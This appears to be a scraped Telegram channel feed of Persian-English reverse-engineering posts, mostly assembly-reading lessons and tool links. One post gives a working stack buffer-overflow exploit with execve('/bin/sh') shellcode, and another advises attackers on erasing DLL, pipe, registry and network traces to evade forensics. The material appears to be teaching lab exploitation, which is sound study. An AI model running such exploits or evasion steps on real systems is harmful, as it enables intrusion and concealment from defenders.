Ghidra Scripts/Plugins/Extension
https://github.com/AllsafeCyberSecurity/awesome-ghidra
@reverseengine
https://github.com/AllsafeCyberSecurity/awesome-ghidra
@reverseengine
GitHub
GitHub - AllsafeCyberSecurity/awesome-ghidra: A curated list of awesome Ghidra materials
A curated list of awesome Ghidra materials. Contribute to AllsafeCyberSecurity/awesome-ghidra development by creating an account on GitHub.
❤1
A Universal MCU Firmware Emulator for Dynamic Analysis without Any Hardware Dependence
https://github.com/MCUSec/uEmu
@reverseengine
https://github.com/MCUSec/uEmu
@reverseengine
GitHub
GitHub - MCUSec/uEmu: A Universal MCU Firmware Emulator for Dynamic Analysis without Any Hardware Dependence.
A Universal MCU Firmware Emulator for Dynamic Analysis without Any Hardware Dependence. - MCUSec/uEmu
❤1
VMProtect 2 - Detailed Analysis of the Virtual Machine Architecture
https://back.engineering/17/05/2021/
@reverseengine
https://back.engineering/17/05/2021/
@reverseengine
❤5
Pointer Arithmetic & Array Access
دسترسی به آرایه تک بعدی
دستور کلی:
در اسمبلی:
این خط یعنی:
نکته مهم برای ریورس:
هر وقت ضربدر 1/2/4/8 دیدی نوع داده مشخص میشه
ضربدر نوع داده
Pointer Arithmetic & Array Access
Accessing a one-dimensional array
General instruction:
In assembly:
This line means:
Important note for reverse:
Whenever you see multiplication by 1/2/4/8, the data type is specified
Multiplication by data type
@reverseengine
دسترسی به آرایه تک بعدی
دستور کلی:
arr[i] = *(arr + i)
در اسمبلی:
mov eax, DWORD PTR [rdi + rsi*4]
این خط یعنی:
rdi آدرس base آرایه
rsi مقدار i
*4 چون int = 4 bytes
نکته مهم برای ریورس:
هر وقت ضربدر 1/2/4/8 دیدی نوع داده مشخص میشه
ضربدر نوع داده
*1 char
*2 short
*4 int/float
*8 long/double/pointer
Pointer Arithmetic & Array Access
Accessing a one-dimensional array
General instruction:
arr[i] = *(arr + i)
In assembly:
mov eax, DWORD PTR [rdi + rsi*4]
This line means:
rdi base address of the array
rsi value of i
*4 because int = 4 bytes
Important note for reverse:
Whenever you see multiplication by 1/2/4/8, the data type is specified
Multiplication by data type
*1 char
*2 short
*4 int/float
*8 long/double/pointer
@reverseengine
❤2
آرایه دوبعدی در حافظه Row-Major Layout
C
همه رو به صورت پشت سر هم ذخیره میکنه
در اسمبلی:
اگر 8 = ncols * 4 پس:
چیزی که باید بلد باشید: به عدد ضربی در index نگاه کنید تعداد ستونها را میفهمی
2D Array in Memory Row-Major Layout
C Stores everything in a row
In assembly:
If 8 = ncols * 4 then:
Something you should know: Look at the multiplier in the index to get the number of columns
@reverseengine
C
همه رو به صورت پشت سر هم ذخیره میکنه
arr[i][j] = *(base + (i * ncols + j))
در اسمبلی:
mov eax, DWORD PTR [rdi + rsi*8 + rdx*4]
اگر 8 = ncols * 4 پس:
i * ncols * sizeof(int)
چیزی که باید بلد باشید: به عدد ضربی در index نگاه کنید تعداد ستونها را میفهمی
2D Array in Memory Row-Major Layout
C Stores everything in a row
arr[i][j] = *(base + (i * ncols + j))
In assembly:
mov eax, DWORD PTR [rdi + rsi*8 + rdx*4]
If 8 = ncols * 4 then:
i * ncols * sizeof(int)
Something you should know: Look at the multiplier in the index to get the number of columns
@reverseengine
❤2
دسترسی به struct
در اسمبلی:
نکته:
double
همیشه با XMM رجیستر لود میشه
Accessing struct
In assembly:
Note: double is always loaded with XMM register
@reverseengine
struct X {
int a; // offset 0
int b; // offset 4
double c; // offset 8
};
در اسمبلی:
mov eax, DWORD PTR [rdi] ; a
mov eax, DWORD PTR [rdi + 4] ; b
movsd xmm0, [rdi + 8] ; c
نکته:
double
همیشه با XMM رجیستر لود میشه
Accessing struct
struct X {
int a; // offset 0
int b; // offset 4
double c; // offset 8
};
In assembly:
mov eax, DWORD PTR [rdi] ; a
mov eax, DWORD PTR [rdi + 4] ; b
movsd xmm0, [rdi + 8] ; c
Note: double is always loaded with XMM register
@reverseengine
❤2
Pointer Arithmetic
اگر دیدید:
یعنی:
pointer جا به جا میشه
هیچ read/write انجام نشده
فقط آدرس محاسبه شده
در C:
الگوی Flattened Arrays
کد اسمبلی:
اسمبلی الگوی دائمیش:
یعنی:
حتی اگر بدون معنی باشه همیشه تابع همین الگو رو میسازه
Pointer Arithmetic
If you see:
That means:
Pointer is moved
No read/write is done
Only address is calculated
In C:
Flattened Arrays Pattern
Assembly code:
Assembly its constant pattern:
That means:
Even if it is meaningless, it always creates a function of this pattern
@reverseengine
اگر دیدید:
lea rax, [rdi + rsi*8]
یعنی:
pointer جا به جا میشه
هیچ read/write انجام نشده
فقط آدرس محاسبه شده
در C:
ptr = arr + i;
الگوی Flattened Arrays
کد اسمبلی:
int arr[3][4];
return arr[i][j];
اسمبلی الگوی دائمیش:
i * 4*size_row + j * 4
یعنی:
rdi + rsi*16 + rdx*4
حتی اگر بدون معنی باشه همیشه تابع همین الگو رو میسازه
Pointer Arithmetic
If you see:
lea rax, [rdi + rsi*8]
That means:
Pointer is moved
No read/write is done
Only address is calculated
In C:
ptr = arr + i;
Flattened Arrays Pattern
Assembly code:
int arr[3][4];
return arr[i][j];
Assembly its constant pattern:
i * 4*size_row + j * 4
That means:
rdi + rsi*16 + rdx*4
Even if it is meaningless, it always creates a function of this pattern
@reverseengine
❤2
مهمترین چیز این بخش برای ریورس
با دیدن ضرب ها تعداد ستون ها و نوع داده رو تشخیص بدید
مثال:
چون 20 = 5*4 پس آرایه 2D است با 5 ستون
چطور بفهمیم pointer به عنوان iterator استفاده شده؟
اگر دیدی:
یعنی pointer افزایش داده شده
معادل:
اگر:
یعنی دابل (++)
The most important thing in this section for reverse
Distinguish the number of columns and data type by looking at the multiplications
Example:
Since 20 = 5*4, it is a 2D array with 5 columns
How do we know that a pointer is used as an iterator?
If you see:
it means the pointer has been incremented
Equivalent to:
If:
it means double (++)
@reverseengine
با دیدن ضرب ها تعداد ستون ها و نوع داده رو تشخیص بدید
مثال:
mov eax, DWORD PTR [rdi + rsi*20 + rdx*4]
چون 20 = 5*4 پس آرایه 2D است با 5 ستون
چطور بفهمیم pointer به عنوان iterator استفاده شده؟
اگر دیدی:
add rdi, 4
یعنی pointer افزایش داده شده
معادل:
ptr++;
اگر:
add rdi, 8
یعنی دابل (++)
The most important thing in this section for reverse
Distinguish the number of columns and data type by looking at the multiplications
Example:
mov eax, DWORD PTR [rdi + rsi*20 + rdx*4]
Since 20 = 5*4, it is a 2D array with 5 columns
How do we know that a pointer is used as an iterator?
If you see:
add rdi, 4
it means the pointer has been incremented
Equivalent to:
ptr++;
If:
add rdi, 8
it means double (++)
@reverseengine
❤2
بخش دوازدهم بافر اورفلو
پیدا کردن آدرسی که باید بپریم روش اینجا تصمیم میگیریم برنامه کجا اجرا بشه
RIP بگیم کجا بره
یعنی میخوایم یک آدرس واقعی داخل حافظه پیدا کنیم که برنامه بپره اونجا
معمولا اینجا دو راه داریم
پریدن روی شل کد خودمون
وریدن روی تابعی مثل system ret2libe
پریدن روی شل کد داخل استک
گذاشتن شل کد روی استک
فعلا یه شلکد ساده execve("/bin/sh") میذاریم
نوپاسلاید (\x90) فقط برای اینه که اگه آدرس دقیق نبود هم بیخیال باشه
مثلا اگه وسط نوپ ها بپره هم در نهایت میرسه به شل کد
پیدا کردن آدرس شل کد روی استک
این قسمت همونجاست که Exploit کردن جذاب میشه
ما باید بفهمیم این شل کد دقیقا تو حافظه کجا قرار گرفته
روش ساده در gdb:
بعد:
یا:
اینجا میگردیم دنبال نوپاسلاید چون پیدا کردنش راحت تره
وقتی پیدا کردید مثلا یه چیزی مثل این میبینید:
0x7fffffffe2a0: 90 90 90 90
یعنی آدرس نوپاسلاید 0x7fffffffe2a0
این آدرسیه که میخوایم RIP رو بفرستیم روش
ساختن پیلود نهایی برای پریدن روی شل کد
الان پیلودمون این میشه
[شلکد] اول کار
[A تا آفست] پر کردن فاصله
[آدرس شلکد] جای RIP
مثال:
تست نهایی
پیلو رو اجرا میکنیم:
اگر همه چی درست باشه
یه شل دارید
whoami
ls
pwd
Part 12 Buffer Overflow
Finding the address to jump to Here we decide where the program will be executed
Let's say RIP where to go
That is, we want to find a real address in memory that the program will jump to
Usually we have two ways here
Jump to our own shellcode
Jump to a function like system ret2libe
Jump to the shellcode on the stack
Putting the shellcode on the stack
For now we will put a simple shellcode execve("/bin/sh")
The nop slide (\x90) is just there to make sure that the address is not exact
For example, if you jump between nops, you will end up with the shellcode
Finding the shellcode address on the stack
This is where exploiting gets interesting
We need to find out exactly where this shellcode is located in memory
Simple method in gdb:
Then:
Or:
Here we look for the nop slide because it is easier to find
When you find it, for example, something like this You see:
0x7fffffffe2a0: 90 90 90 90
That is the address of the nop slide 0x7fffffffe2a0
This is the address we want to send RIP to
Creating the final payload to jump to the shellcode
Now our payload will be this
[shellcode] First thing
[A to offset] fill the gap
[shellcode address] replace RIP
Example:
Final test
We run the payload:
If everything is correct
You have a shell
whoami
ls
pwd
@reverseengine
پیدا کردن آدرسی که باید بپریم روش اینجا تصمیم میگیریم برنامه کجا اجرا بشه
RIP بگیم کجا بره
یعنی میخوایم یک آدرس واقعی داخل حافظه پیدا کنیم که برنامه بپره اونجا
معمولا اینجا دو راه داریم
پریدن روی شل کد خودمون
وریدن روی تابعی مثل system ret2libe
پریدن روی شل کد داخل استک
گذاشتن شل کد روی استک
فعلا یه شلکد ساده execve("/bin/sh") میذاریم
shellcode = b"\x90" * 16
shellcode += b"\x48\x31\xc0\x50\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68"
shellcode += b"\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
نوپاسلاید (\x90) فقط برای اینه که اگه آدرس دقیق نبود هم بیخیال باشه
مثلا اگه وسط نوپ ها بپره هم در نهایت میرسه به شل کد
پیدا کردن آدرس شل کد روی استک
این قسمت همونجاست که Exploit کردن جذاب میشه
ما باید بفهمیم این شل کد دقیقا تو حافظه کجا قرار گرفته
روش ساده در gdb:
(gdb) run < <(python3 exploit.py)
بعد:
(gdb) info proc mappings
یا:
(gdb) x/500x $rsp
اینجا میگردیم دنبال نوپاسلاید چون پیدا کردنش راحت تره
وقتی پیدا کردید مثلا یه چیزی مثل این میبینید:
0x7fffffffe2a0: 90 90 90 90
یعنی آدرس نوپاسلاید 0x7fffffffe2a0
این آدرسیه که میخوایم RIP رو بفرستیم روش
ساختن پیلود نهایی برای پریدن روی شل کد
الان پیلودمون این میشه
[شلکد] اول کار
[A تا آفست] پر کردن فاصله
[آدرس شلکد] جای RIP
مثال:
from pwn import *
offset = 112
ret = p64(0x7fffffffe2a0)
shellcode = b"\x90"*16
shellcode += b"\x48\x31\xc0\x50\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68"
shellcode += b"\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
payload = shellcode
payload += b"A" * (offset - len(shellcode))
payload += ret
print(payload)
تست نهایی
پیلو رو اجرا میکنیم:
python3 exploit.py | ./vuln
اگر همه چی درست باشه
یه شل دارید
whoami
ls
pwd
Part 12 Buffer Overflow
Finding the address to jump to Here we decide where the program will be executed
Let's say RIP where to go
That is, we want to find a real address in memory that the program will jump to
Usually we have two ways here
Jump to our own shellcode
Jump to a function like system ret2libe
Jump to the shellcode on the stack
Putting the shellcode on the stack
For now we will put a simple shellcode execve("/bin/sh")
shellcode = b"\x90" * 16
shellcode += b"\x48\x31\xc0\x50\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68"
shellcode += b"\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
The nop slide (\x90) is just there to make sure that the address is not exact
For example, if you jump between nops, you will end up with the shellcode
Finding the shellcode address on the stack
This is where exploiting gets interesting
We need to find out exactly where this shellcode is located in memory
Simple method in gdb:
(gdb) run < <(python3 exploit.py)
Then:
(gdb) info proc mappings
Or:
(gdb) x/500x $rsp
Here we look for the nop slide because it is easier to find
When you find it, for example, something like this You see:
0x7fffffffe2a0: 90 90 90 90
That is the address of the nop slide 0x7fffffffe2a0
This is the address we want to send RIP to
Creating the final payload to jump to the shellcode
Now our payload will be this
[shellcode] First thing
[A to offset] fill the gap
[shellcode address] replace RIP
Example:
from pwn import *
offset = 112
ret = p64(0x7fffffffe2a0)
shellcode = b"\x90"*16
shellcode += b"\x48\x31\xc0\x50\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68"
shellcode += b"\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
payload = shellcode
payload += b"A" * (offset - len(shellcode))
payload += ret
print(payload)
Final test
We run the payload:
python3 exploit.py | ./vuln
If everything is correct
You have a shell
whoami
ls
pwd
@reverseengine
❤2
Bypassing Next Generation Firewalls with fragtunnel
https://hackers-arise.com/bypassing-next-generation-firewalls-with-fragtunnel
@reverseengine
https://hackers-arise.com/bypassing-next-generation-firewalls-with-fragtunnel
@reverseengine
❤1
Forwarded from Malware Research / RedTeam / News
New blog on using CLR customizations to improve the OPSEC of your .NET execution harness. This includes a novel AMSI bypass that identified by author in 2023. By taking control of CLR assembly loads, we can load assemblies from memory with no AMSI scan.
https://securityintelligence.com/x-force/being-a-good-clr-host-modernizing-offensive-net-tradecraft/
Proof-of-concept for the AMSI bypass and an implementation of a CLR memory manager is on GitHub. We can implement custom memory routines and track all allocations made by the CLR.
https://github.com/passthehashbrowns/Being-A-Good-CLR-Host
#redteam #net #clr
https://securityintelligence.com/x-force/being-a-good-clr-host-modernizing-offensive-net-tradecraft/
Proof-of-concept for the AMSI bypass and an implementation of a CLR memory manager is on GitHub. We can implement custom memory routines and track all allocations made by the CLR.
https://github.com/passthehashbrowns/Being-A-Good-CLR-Host
#redteam #net #clr
Security Intelligence
Being a good CLR host – Modernizing offensive .NET tradecraft
Learn how red teams can modernize their use of .NET assemblies using CLR customizations.
❤2
Debugging and Reversing ALPC
https://csandker.io/2022/05/29/Debugging-And-Reversing-ALPC.html
@reverseengine
https://csandker.io/2022/05/29/Debugging-And-Reversing-ALPC.html
@reverseengine
csandker.io
Debugging and Reversing ALPC
This post is an addendum to my journey to discover and verify the internals of ALPC, which I've documented in Offensive Windows IPC Internals 3: ALPC. While preparing this blog I figured a second post, explaining the debugging steps I took to verify and discover…
❤2
پاکسازی ردپاهای رفتاری Behavioral Artifacts
پاکسازی رفتاری یعنی چی
همیشه فقط فایل و لاگ نیست که شما رو لو میده خیلی وقتا رفتار برنامه یه اثر جانبی تو سیستم میذاره مثل اینکه برنامه رفته یه مسیر خاص یه DLL لود کرده یه NamedPipe ساخته یا حتی یه کلید رجیستری کوتاه اضافه کرده
اینها اسمش میشه Behavioral Artifact
و بدترین چیز اینه که خیلیاش اصلا به چشم نمیاد ولی تو فارنزیک کاملا مشخصه و لو میرید
مهمترین رد پاهای رفتاری که معمولا میوفتن
Load شدن
های غیر معمولی DLL
وقتی ابزارتون یه DLL کاستوم لود میکنه
تو ETW Sysmon و حتی حافظه اثرش میمونه
Named Pipes
اگه ابزار IPC داره و pipe ساخته بشه
تو حافظه handle table و بعضی لاگها دیده میشه
Registry Keys موقتی
بعضی ابزارا برای config یا persistence آزمایشی کلید short-lived میسازن که همون باعث لو رفتنتون میشه
Network Artifacts
حتی اگر لاگ فایل وجود نداشته باشه
route
های باز شده DNS cache ARP cache و socket states ممکنه دیده بشه
Process Tree / Parent Spoofing
خیلی وقتا افراد فکر میکنن چون PPID Spoof کردن پس کار تمومه ولی artifact های مثل Token Thread start time و Memory layout
دستتون رو رو میکنه و لو میرید و همه چی افشا میشه
چطور باید پاکشون کنید
اگه ابزارای شما DLL لود میکنه pipe میسازه یا رجیستری دستکاری میکنه باید اونا رو طوری طراحی کنید که بعد از اجرا خودش cleanup کنه
Pipeline Cleanup
بعد از کارا:
pipe
ها رو ببندید
handle
ها رو free کنید
thread
ها رو join کنید
registry موقت رو حذف کنید
%50 افراد همین کارای ساده رو نمیکنن
کمکردن Interaction با سیستم عامل
هرچی syscalls کمتر
ردپا کمتر
محدود کردن Network Indicators
DNS cache، socket states و route
های باز شده
بعد از اتمام کار باید reset بشن
Memory Hygiene
Buffer
ها و ساختار هایی که حاوی metadata رفتاری هستن
نباید تو RAM بدون استفاده بشن
Cleaning up behavioral artifacts
What is behavioral cleaning?
It's not always just files and logs that give you away. Often, the program's behavior leaves a side effect on the system, such as the program going to a specific path, loading a DLL, creating a NamedPipe, or even adding a short registry key.
These are called Behavioral Artifacts.
And the worst thing is that many of them are not visible at all, but in forensics they are quite obvious and you get caught.
The most important behavioral traces that usually occur
Unusual DLL loadings
When your tool loads a custom DLL, it leaves traces in ETW Sysmon and even memory.
Named Pipes
If the tool has IPC and a pipe is created, it can be seen in the handle table and some logs.
Temporary Registry Keys
Some tools create short-lived keys for experimental config or persistence, which is what makes you get caught.
Network Artifacts
Even if there is no log file
Open routes, DNS cache, ARP cache, and socket states may be visible
Process Tree / Parent Spoofing
Many times people think that because PPID Spoofing is done, the job is done, but artifacts like Token Thread start time and Memory layout
will expose your hands and expose everything
How to clean them
If your tools load DLLs, create pipes, or manipulate the registry, you should design them to clean up after execution
Pipeline Cleanup
After work:
Close pipes
Free handles
Join threads
Delete temporary registry
50% of people do not do this simple thing
Reduce Interaction with the operating system
Less syscalls, whatever
Smaller footprint
Limit Network Indicators
Open DNS cache, socket states, and routes
They should be reset after completion
Memory Hygiene
Buffers and structures that contain behavioral metadata
should not be left unused in RAM
@reverseengine
پاکسازی رفتاری یعنی چی
همیشه فقط فایل و لاگ نیست که شما رو لو میده خیلی وقتا رفتار برنامه یه اثر جانبی تو سیستم میذاره مثل اینکه برنامه رفته یه مسیر خاص یه DLL لود کرده یه NamedPipe ساخته یا حتی یه کلید رجیستری کوتاه اضافه کرده
اینها اسمش میشه Behavioral Artifact
و بدترین چیز اینه که خیلیاش اصلا به چشم نمیاد ولی تو فارنزیک کاملا مشخصه و لو میرید
مهمترین رد پاهای رفتاری که معمولا میوفتن
Load شدن
های غیر معمولی DLL
وقتی ابزارتون یه DLL کاستوم لود میکنه
تو ETW Sysmon و حتی حافظه اثرش میمونه
Named Pipes
اگه ابزار IPC داره و pipe ساخته بشه
تو حافظه handle table و بعضی لاگها دیده میشه
Registry Keys موقتی
بعضی ابزارا برای config یا persistence آزمایشی کلید short-lived میسازن که همون باعث لو رفتنتون میشه
Network Artifacts
حتی اگر لاگ فایل وجود نداشته باشه
route
های باز شده DNS cache ARP cache و socket states ممکنه دیده بشه
Process Tree / Parent Spoofing
خیلی وقتا افراد فکر میکنن چون PPID Spoof کردن پس کار تمومه ولی artifact های مثل Token Thread start time و Memory layout
دستتون رو رو میکنه و لو میرید و همه چی افشا میشه
چطور باید پاکشون کنید
اگه ابزارای شما DLL لود میکنه pipe میسازه یا رجیستری دستکاری میکنه باید اونا رو طوری طراحی کنید که بعد از اجرا خودش cleanup کنه
Pipeline Cleanup
بعد از کارا:
pipe
ها رو ببندید
handle
ها رو free کنید
thread
ها رو join کنید
registry موقت رو حذف کنید
%50 افراد همین کارای ساده رو نمیکنن
کمکردن Interaction با سیستم عامل
هرچی syscalls کمتر
ردپا کمتر
محدود کردن Network Indicators
DNS cache، socket states و route
های باز شده
بعد از اتمام کار باید reset بشن
Memory Hygiene
Buffer
ها و ساختار هایی که حاوی metadata رفتاری هستن
نباید تو RAM بدون استفاده بشن
Cleaning up behavioral artifacts
What is behavioral cleaning?
It's not always just files and logs that give you away. Often, the program's behavior leaves a side effect on the system, such as the program going to a specific path, loading a DLL, creating a NamedPipe, or even adding a short registry key.
These are called Behavioral Artifacts.
And the worst thing is that many of them are not visible at all, but in forensics they are quite obvious and you get caught.
The most important behavioral traces that usually occur
Unusual DLL loadings
When your tool loads a custom DLL, it leaves traces in ETW Sysmon and even memory.
Named Pipes
If the tool has IPC and a pipe is created, it can be seen in the handle table and some logs.
Temporary Registry Keys
Some tools create short-lived keys for experimental config or persistence, which is what makes you get caught.
Network Artifacts
Even if there is no log file
Open routes, DNS cache, ARP cache, and socket states may be visible
Process Tree / Parent Spoofing
Many times people think that because PPID Spoofing is done, the job is done, but artifacts like Token Thread start time and Memory layout
will expose your hands and expose everything
How to clean them
If your tools load DLLs, create pipes, or manipulate the registry, you should design them to clean up after execution
Pipeline Cleanup
After work:
Close pipes
Free handles
Join threads
Delete temporary registry
50% of people do not do this simple thing
Reduce Interaction with the operating system
Less syscalls, whatever
Smaller footprint
Limit Network Indicators
Open DNS cache, socket states, and routes
They should be reset after completion
Memory Hygiene
Buffers and structures that contain behavioral metadata
should not be left unused in RAM
@reverseengine
❤2🔥1